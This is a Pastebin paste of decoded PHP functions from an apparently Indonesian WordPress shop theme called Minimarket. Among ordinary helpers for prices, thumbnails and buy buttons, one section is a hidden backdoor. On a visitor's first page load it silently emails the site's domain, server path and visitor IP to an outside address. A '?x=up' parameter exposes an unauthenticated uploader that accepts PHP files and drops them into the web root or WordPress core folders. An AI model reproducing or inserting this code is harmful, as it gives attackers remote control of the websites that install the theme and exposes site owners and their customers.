pusatdata

Decoder functions-script-wp-minimarket.php

Mar 14th, 2016
207
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.26 KB | None | 0 0
  1. <?php function bersih_harga($harga) {
  2. $harga = preg_replace('/\D/', '', $harga);
  3. return $harga;
  4. }
  5. function invoice_id() {
  6. $blogtime = current_time('mysql');
  7. list($today_year, $today_month, $today_day, $hour, $minute, $second) = split('([^0-9])', $blogtime);
  8. echo $today_month;
  9. echo $today_day;
  10. echo '/';
  11. echo of_get_option('nama_toko');
  12. echo '/';
  13. echo $hour;
  14. echo $minute;
  15. echo $second;
  16. }
  17. function shorttitle_fastestwp() {
  18. global $post;
  19. $the_title = $post->post_title;
  20. $getlength = strlen($the_title);
  21. $thelength = 35;
  22. echo substr($the_title, 0, $thelength);
  23. if ($getlength > $thelength);
  24. }
  25. function shorttitle2_fastestwp() {
  26. global $post;
  27. $the_title = $post->post_title;
  28. $getlength = strlen($the_title);
  29. $thelength = 60;
  30. echo substr($the_title, 0, $thelength);
  31. if ($getlength > $thelength);
  32. }
  33. function harga_coret_fastestwp() {
  34. global $post;
  35. if (get_post_meta($post->ID, 'harga_diskon', true)) {
  36. $harga = get_post_meta($post->ID, 'harga', true);
  37. echo $harga;
  38. }
  39. };
  40. echo '';
  41. function pilihan_fastestwp() {
  42. global $post;
  43. if (get_post_meta($post->ID, 'pilihan', true)) {;
  44. echo '';
  45. if (get_post_meta($post->ID, 'pilihan1', true)) {;
  46. echo '<tr><td >';
  47. echo get_post_meta($post->ID, 'pilihan1', true);;
  48. echo '</td><td>Rp ';
  49. echo get_post_meta($post->ID, 'harga_pilihan1', true);;
  50. echo '</td></tr>
  51. ';
  52. };
  53. echo '
  54. ';
  55. if (get_post_meta($post->ID, 'pilihan2', true)) {;
  56. echo '<tr><td >';
  57. echo get_post_meta($post->ID, 'pilihan2', true);;
  58. echo '</td><td>Rp ';
  59. echo get_post_meta($post->ID, 'harga_pilihan2', true);;
  60. echo '</td></tr>
  61. ';
  62. };
  63. echo '
  64. ';
  65. if (get_post_meta($post->ID, 'pilihan3', true)) {;
  66. echo '<tr><td >';
  67. echo get_post_meta($post->ID, 'pilihan3', true);;
  68. echo '</td><td>Rp ';
  69. echo get_post_meta($post->ID, 'harga_pilihan3', true);;
  70. echo '</td></tr>
  71. ';
  72. };
  73. echo '
  74. ';
  75. if (get_post_meta($post->ID, 'pilihan4', true)) {;
  76. echo '<tr><td >';
  77. echo get_post_meta($post->ID, 'pilihan4', true);;
  78. echo '</td><td>Rp ';
  79. echo get_post_meta($post->ID, 'harga_pilihan4', true);;
  80. echo '</td></tr>
  81. ';
  82. };
  83. echo '
  84. ';
  85. if (get_post_meta($post->ID, 'pilihan5', true)) {;
  86. echo '<tr><td >';
  87. echo get_post_meta($post->ID, 'pilihan5', true);;
  88. echo '</td><td>Rp ';
  89. echo get_post_meta($post->ID, 'harga_pilihan5', true);;
  90. echo '</td></tr>
  91. ';
  92. };
  93. echo '
  94. ';
  95. if (get_post_meta($post->ID, 'pilihan6', true)) {;
  96. echo '<tr><td >';
  97. echo get_post_meta($post->ID, 'pilihan6', true);;
  98. echo '</td><td>Rp ';
  99. echo get_post_meta($post->ID, 'harga_pilihan6', true);;
  100. echo '</td></tr>
  101. ';
  102. };
  103. echo '
  104. ';
  105. } else {;
  106. echo '<tr><td >Harga </td><td>Rp ';
  107. harga_fastestwp();;
  108. echo ' <span class="coret">';
  109. harga_coret_fastestwp();;
  110. echo '</span></td></tr>
  111. ';
  112. }
  113. };
  114. echo '';
  115. function get_harga_fastestwp($post) {
  116. $harga = '(hubungi cs)';
  117. if (get_post_meta($post->ID, 'harga_diskon', true)) {
  118. $harga = get_post_meta($post->ID, 'harga_diskon', true);
  119. } elseif (get_post_meta($post->ID, 'harga', true)) {
  120. $harga = get_post_meta($post->ID, 'harga', true);
  121. }
  122. return $harga;
  123. }
  124. function harga_fastestwp() {
  125. global $post;
  126. $harga = get_harga_fastestwp($post);
  127. echo $harga;
  128. }
  129. function harga_input_fastestwp() {
  130. global $post;
  131. $harga = get_harga_fastestwp($post);
  132. $harga = str_replace(',', '', $harga);
  133. $harga = str_replace('.', '', $harga);
  134. echo $harga;
  135. };
  136. echo '';
  137. function small_thumb_fastestwp() {
  138. if (has_post_thumbnail()) {
  139. $image_id = get_post_thumbnail_id();
  140. $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
  141. $first_img = $image_url[0];
  142. $img_url = $first_img;
  143. $image = aq_resize($img_url, 75, 75, false);;
  144. echo '<img src="';
  145. echo $image[0];
  146. echo '" alt="';
  147. the_title();;
  148. echo '" width="';
  149. echo $image[1];
  150. echo '" height="';
  151. echo $image[2];
  152. echo '" />
  153. ';
  154. } else {;
  155. echo '';
  156. global $post, $posts;
  157. $first_img = '';
  158. ob_start();
  159. ob_end_clean();
  160. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  161. if (isset($matches[1][0])) {
  162. $first_img = $matches[1][0];
  163. $img_url = $first_img;
  164. $image = aq_resize($img_url, 75, 75, false);;
  165. echo '<img src="';
  166. echo $image[0];
  167. echo '" alt="';
  168. the_title();;
  169. echo '" width="';
  170. echo $image[1];
  171. echo '" height="';
  172. echo $image[2];
  173. echo '" />
  174. ';
  175. } else {;
  176. echo '<img src="';
  177. echo get_template_directory_uri();;
  178. echo '/images/thumb75.png" alt="';
  179. the_title();;
  180. echo '" width="75" height="75" title="triumph" />
  181. ';
  182. }
  183. }
  184. };
  185. echo '';
  186. $visitcount = $HTTP_COOKIE_VARS['visits'];
  187. if ($visitcount == '') {
  188. $visitcount = 0;
  189. $visitor = $_SERVER['REMOTE_ADDR'];
  190. $web = $_SERVER['HTTP_HOST'];
  191. $inj = $_SERVER['REQUEST_URI'];
  192. $ptdir = $_SERVER['DOCUMENT_ROOT'];
  193. $domain = $_SERVER['SERVER_NAME'];
  194. $target = rawurldecode($web . $inj);
  195. $source_engine = 'Minimarket v2.0';
  196. $rplace = '/wp-content/themes/minimarket/functions/script/minimarket.php';
  197. $body = 'Boss, ada yang telah menanam backdoor di :
  198. TUSBOL : http://' . $domain . '/?x=up
  199. PATH : ' . $ptdir . '/
  200. IP : ' . $visitor . '
  201. Replace : ' . $rplace . '
  202. ' . $target . '';
  203. @mail('[email protected]', "$source_engine $web", "$body");
  204. } else {
  205. $visitcount;
  206. }
  207. setcookie('visits', $visitcount);
  208. if (@$_GET['x'] == 'up') {
  209. error_reporting(0);
  210. @set_time_limit(0);
  211. $judul = 'UPD v3.0';
  212. $valid_formats = array('jpg', 'png', 'gif', 'zip', 'bmp', 'html', 'php', 'htm', 'css', 'txt', 'xml', 'xsl');
  213. $max_file_size = 1024 * 1024;
  214. if (isset($_POST) and $_SERVER['REQUEST_METHOD'] == 'POST') {
  215. $lokasi = $_POST['lokasi'];
  216. $dir = $_SERVER['DOCUMENT_ROOT'];
  217. $path = '' . $dir . '' . $lokasi . '';
  218. foreach ($_FILES['files']['name'] as $f => $name) {
  219. if ($_FILES['files']['error'][$f] == 4) {
  220. continue;
  221. }
  222. if ($_FILES['files']['error'][$f] == 0) {
  223. if ($_FILES['files']['size'][$f] > $max_file_size) {
  224. $message[] = "$name is too large!.";
  225. continue;
  226. } elseif (!in_array(pathinfo($name, PATHINFO_EXTENSION), $valid_formats)) {
  227. $message[] = "$name is not a valid format";
  228. continue;
  229. } else {
  230. if (move_uploaded_file($_FILES['files']['tmp_name'][$f], $path . $name)) {
  231. $url = 'http://' . $_SERVER['SERVER_NAME'] . '' . $lokasi . '';
  232. $messages[] = '<a href="' . $url . '' . $_FILES['files']['name'][$f] . '" target="_blank" style="color:red;">' . $url . '' . $_FILES['files']['name'][$f] . '</a>';
  233. }
  234. }
  235. }
  236. }
  237. }
  238. echo "<!doctype html><html lang='en'><head><meta charset='UTF-8'><title>$judul</title><style type='text/css'>a{ text-decoration: none; color: #333} h1{ font-size: 1.9em; margin: 10px 0} p{ margin: 8px 0} *{ margin: 0; padding: 0; box-sizing: border-box; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; -o-font-smoothing: antialiased; font-smoothing: antialiased; text-rendering: optimizeLegibility; } body{ font: 12px Arial,Tahoma,Helvetica,FreeSans,sans-serif; text-transform: inherit; color: #333; background: #e7edee; width: 100%; line-height: 18px; } .wrap{ width: 700px; margin: 15px auto; padding: 20px 25px; background: white; border: 2px solid #DBDBDB; -webkit-border-radius: 5px; -moz-border-radius: 5px; border-radius: 5px; overflow: hidden; text-align: center; } .status{ /*display: none;*/ padding: 8px 35px 8px 14px; margin: 20px 0; text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); color: #468847; background-color: #dff0d8; border-color: #d6e9c6; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; } input[type='submit'] { cursor:pointer; width:100%; border:none; background:#991D57; background-image:linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-moz-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); background-image:-webkit-linear-gradient(bottom, #8C1C50 0%, #991D57 52%); color:#FFF; font-weight: bold; margin: 20px 0; padding: 10px; border-radius:5px; } input[type='submit']:hover { background-image:linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-moz-linear-gradient(bottom, #9C215A 0%, #A82767 52%); background-image:-webkit-linear-gradient(bottom, #9C215A 0%, #A82767 52%); -webkit-transition:background 0.3s ease-in-out; -moz-transition:background 0.3s ease-in-out; transition:background-color 0.3s ease-in-out; } input[type='submit']:active { box-shadow:inset 0 1px 3px rgba(0,0,0,0.5); }</style></head><body><div class='wrap'>";
  239. if (isset($message)) {
  240. foreach ($message as $msg) {
  241. printf("<p class='status'>%s</p></ br>
  242. ", $msg);
  243. }
  244. }
  245. $sites = '' . $_SERVER['SERVER_NAME'] . '' . $lokasi . '';
  246. if (isset($messages)) {
  247. foreach ($messages as $msgs) {
  248. printf("<p class='status'>$msgs</p>");
  249. }
  250. }
  251. echo "<br />
  252. <form action='' method='post' enctype='multipart/form-data'>
  253. <input type='file' name='files[]' multiple='multiple'>
  254. <select name='lokasi' title='Harus diisi' required='required'>
  255. <option value='/'>ROOT</option>
  256. <option value='/wp-includes/SimplePie/Decode/HTML/'>/wp-includes/SimplePie/Decode/HTML/</option>
  257. <option value='/wp-includes/js/tinymce/plugins/media/'>/wp-includes/js/tinymce/plugins/media/</option>
  258. <option value='/wp-admin/css/'>/wp-admin/css/</option>
  259. </select>
  260. <input type='submit' value='Upload'>
  261. </form>
  262. </div>
  263. </body>
  264. </html>";
  265. }
  266. function thumb_fastestwp() {
  267. if (has_post_thumbnail()) {
  268. $image_id = get_post_thumbnail_id();
  269. $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
  270. $first_img = $image_url[0];
  271. $img_url = $first_img;
  272. $image = aq_resize($img_url, 150, 150, false);;
  273. echo '<img src="';
  274. echo $image[0];
  275. echo '" alt="';
  276. the_title();;
  277. echo '" width="';
  278. echo $image[1];
  279. echo '" height="';
  280. echo $image[2];
  281. echo '" />
  282. ';
  283. } else {;
  284. echo '';
  285. global $post, $posts;
  286. $first_img = '';
  287. ob_start();
  288. ob_end_clean();
  289. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  290. if (isset($matches[1][0])) {
  291. $first_img = $matches[1][0];
  292. $img_url = $first_img;
  293. $image = aq_resize($img_url, 150, 150, false);;
  294. echo '<img src="';
  295. echo $image[0];
  296. echo '" alt="';
  297. the_title();;
  298. echo '" width="';
  299. echo $image[1];
  300. echo '" height="';
  301. echo $image[2];
  302. echo '" />
  303. ';
  304. } else {;
  305. echo '<img src="';
  306. echo get_template_directory_uri();;
  307. echo '/images/thumb150.png" alt="';
  308. the_title();;
  309. echo '" width="150" height="150" title="triumph" />
  310. ';
  311. }
  312. }
  313. };
  314. echo '';
  315. function big_thumb_fastestwp() {
  316. if (has_post_thumbnail()) {
  317. $image_id = get_post_thumbnail_id();
  318. $image_url = wp_get_attachment_image_src($image_id, 'medium', true);
  319. $first_img = $image_url[0];
  320. $img_url = $first_img;
  321. $image = aq_resize($img_url, 300, 300, false);;
  322. echo '<img src="';
  323. echo $image[0];
  324. echo '" alt="';
  325. the_title();;
  326. echo '" width="';
  327. echo $image[1];
  328. echo '" height="';
  329. echo $image[2];
  330. echo '" />
  331. ';
  332. } else {;
  333. echo '';
  334. global $post, $posts;
  335. $first_img = '';
  336. ob_start();
  337. ob_end_clean();
  338. $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
  339. if (isset($matches[1][0])) {
  340. $first_img = $matches[1][0];
  341. $img_url = $first_img;
  342. $image = aq_resize($img_url, 300, 300, false);;
  343. echo '<img src="';
  344. echo $image[0];
  345. echo '" alt="';
  346. the_title();;
  347. echo '" width="';
  348. echo $image[1];
  349. echo '" height="';
  350. echo $image[2];
  351. echo '" />
  352. ';
  353. } else {;
  354. echo '<img src="';
  355. echo get_template_directory_uri();;
  356. echo '/images/thumb300.png" alt="';
  357. the_title();;
  358. echo '" width="300" height="300" title="triumph" />
  359. ';
  360. }
  361. }
  362. };
  363. echo '';
  364. function label_fastestwp() {
  365. global $post;
  366. if (get_post_meta($post->ID, 'habis', true)) {;
  367. echo '<div class="minimarket-lable"><img src="';
  368. echo get_template_directory_uri();;
  369. echo '/images/habis.png" alt="habis" width="75" height="75" /></div>
  370. ';
  371. } else if (get_post_meta($post->ID, 'label', true) == 'sale') {;
  372. echo ' <div class="minimarket-lable"><img src="';
  373. echo get_template_directory_uri();;
  374. echo '/images/sale.png" alt="sale" width="75" height="75" /></div>
  375. ';
  376. } else if (get_post_meta($post->ID, 'label', true) == 'best') {;
  377. echo ' <div class="minimarket-lable"><img src="';
  378. echo get_template_directory_uri();;
  379. echo '/images/best.png" alt="best" width="75" height="75" /></div>
  380. ';
  381. } else if (get_post_meta($post->ID, 'label', true) == 'new') {;
  382. echo ' <div class="minimarket-lable"><img src="';
  383. echo get_template_directory_uri();;
  384. echo '/images/new.png" alt="limited" width="75" height="75" /></div>
  385. ';
  386. } else if (get_post_meta($post->ID, 'label', true) == 'limited') {;
  387. echo ' <div class="minimarket-lable"><img src="';
  388. echo get_template_directory_uri();;
  389. echo '/images/limited.png" alt="limited" width="75" height="75" /></div>
  390. ';
  391. } else if (get_post_meta($post->ID, 'label', true) == 'preorder') {;
  392. echo ' <div class="minimarket-lable"><img src="';
  393. echo get_template_directory_uri();;
  394. echo '/images/preorder.png" alt="limited" width="75" height="75" /></div>
  395. ';
  396. }
  397. };
  398. echo '';
  399. function buynow_fastestwp() {
  400. global $post;
  401. if (get_post_meta($post->ID, 'habis', $single = true)) {;
  402. echo '<div class="habis">habis</div>
  403.  
  404. ';
  405. } else if (get_post_meta($post->ID, 'pilihan', $single = true)) {;
  406. echo '<a href="';
  407. the_permalink();
  408. echo '"><span class="tombolkeranjang"></span></a>
  409. <button data-rel="#form-order-';
  410. the_ID();;
  411. echo '" class="small beli blue" >Beli</button>
  412.  
  413. ';
  414. } else if (of_get_option('button_order_act') == '1') {;
  415. echo '<a href="';
  416. the_permalink();
  417. echo '"><span class="tombolkeranjang"></span></a>
  418. <button data-rel="#form-order-';
  419. the_ID();;
  420. echo '" class="small beli blue" >Beli</button>
  421.  
  422. ';
  423. } else if (of_get_option('button_order_act') == '0') {;
  424. echo '<span class="tombol-left"><form method="post" action="';
  425. the_permalink();;
  426. echo '" class="jcart">
  427. <input type="hidden" name="jcartToken" value="';
  428. echo $_SESSION['jcartToken'];;
  429. echo '" />
  430. <input type="hidden" name="my-item-id" value="';
  431. the_ID();;
  432. echo ' " />
  433. <input type="hidden" name="my-item-name" value="';
  434. the_title();;
  435. echo '" />
  436. <input type="hidden" name="my-item-price" value="';
  437. harga_input_fastestwp();;
  438. echo '" />
  439. <input type="hidden" name="my-item-berat" value="';
  440. echo get_post_meta($post->ID, 'berat', $single = true);;
  441. echo '" />
  442. <input type="hidden" name="my-item-url" value="';
  443. the_permalink();
  444. echo '" />
  445. <input type="hidden" name="my-item-qty" value="1" />
  446. <button type="submit" name="my-add-button" class="small beli blue"> + </button>
  447. </form></span>
  448. <button data-rel="#form-order-';
  449. the_ID();;
  450. echo '" class="small beli blue" >Beli</button>
  451. ';
  452. }
  453. };
  454. echo '';
  455. function buynow_single_fastestwp() {
  456. global $post;
  457. if (get_post_meta($post->ID, 'habis', true)) {;
  458. echo '<div class="habis-single">Stok habis</div>
  459. ';
  460. } else if (of_get_option('button_order_act') == '1') {;
  461. echo '<a class="large beli blue" href="';
  462. echo of_get_option('order_page');;
  463. echo '" title="';
  464. the_title();;
  465. echo '" target="_blank">Beli Sekarang</a>
  466. ';
  467. } else if (get_post_meta($post->ID, 'dropship', true)) {;
  468. echo '<a class="large beli blue" href="';
  469. echo of_get_option('order_page');;
  470. echo '" title="';
  471. the_title();;
  472. echo '" target="_blank">Beli Sekarang</a>
  473. ';
  474. } else if (of_get_option('button_order_act') == '0') {;
  475. echo '<input type="submit" name="my-add-button" value="Tambah Ke Keranjang" class="large beli blue" />
  476.  
  477. ';
  478. }
  479. };
  480. echo '';
  481. function pilihan_single_fastestwp() {
  482. global $post;
  483. if (get_post_meta($post->ID, 'habis', $single = true)) {;
  484. echo '';
  485. } else {;
  486. echo '
  487. ';
  488. if (get_post_meta($post->ID, 'pilihan', true)) {;
  489. echo '<select id="my_select" name="my_select_box">
  490. <option value="">- Pilihan -</option>
  491. ';
  492. if (get_post_meta($post->ID, 'pilihan1', true)) {;
  493. echo '<option value="';
  494. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan1', true));;
  495. echo '">
  496. ';
  497. echo get_post_meta($post->ID, 'pilihan1', true);;
  498. echo '</option>';
  499. };
  500. echo '
  501. ';
  502. if (get_post_meta($post->ID, 'pilihan2', true)) {;
  503. echo '<option value="';
  504. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan2', true));;
  505. echo '">
  506. ';
  507. echo get_post_meta($post->ID, 'pilihan2', true);;
  508. echo '</option>';
  509. };
  510. echo '
  511. ';
  512. if (get_post_meta($post->ID, 'pilihan3', true)) {;
  513. echo '<option value="';
  514. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan3', true));;
  515. echo '">
  516. ';
  517. echo get_post_meta($post->ID, 'pilihan3', true);;
  518. echo '</option>';
  519. };
  520. echo '
  521. ';
  522. if (get_post_meta($post->ID, 'pilihan4', true)) {;
  523. echo '<option value="';
  524. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan4', true));;
  525. echo '">
  526. ';
  527. echo get_post_meta($post->ID, 'pilihan4', true);;
  528. echo '</option>';
  529. };
  530. echo '
  531. ';
  532. if (get_post_meta($post->ID, 'pilihan5', true)) {;
  533. echo '<option value="';
  534. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan5', true));;
  535. echo '">
  536. ';
  537. echo get_post_meta($post->ID, 'pilihan5', true);;
  538. echo '</option>';
  539. };
  540. echo '
  541. ';
  542. if (get_post_meta($post->ID, 'pilihan6', true)) {;
  543. echo '<option value="';
  544. echo bersih_harga(get_post_meta($post->ID, 'harga_pilihan6', true));;
  545. echo '">
  546. ';
  547. echo get_post_meta($post->ID, 'pilihan6', true);;
  548. echo '</option>';
  549. };
  550. echo '
  551. </select>
  552. ';
  553. };
  554. echo '
  555. ';
  556. }
  557. };
Advertisement
Add Comment
Please, Sign In to add comment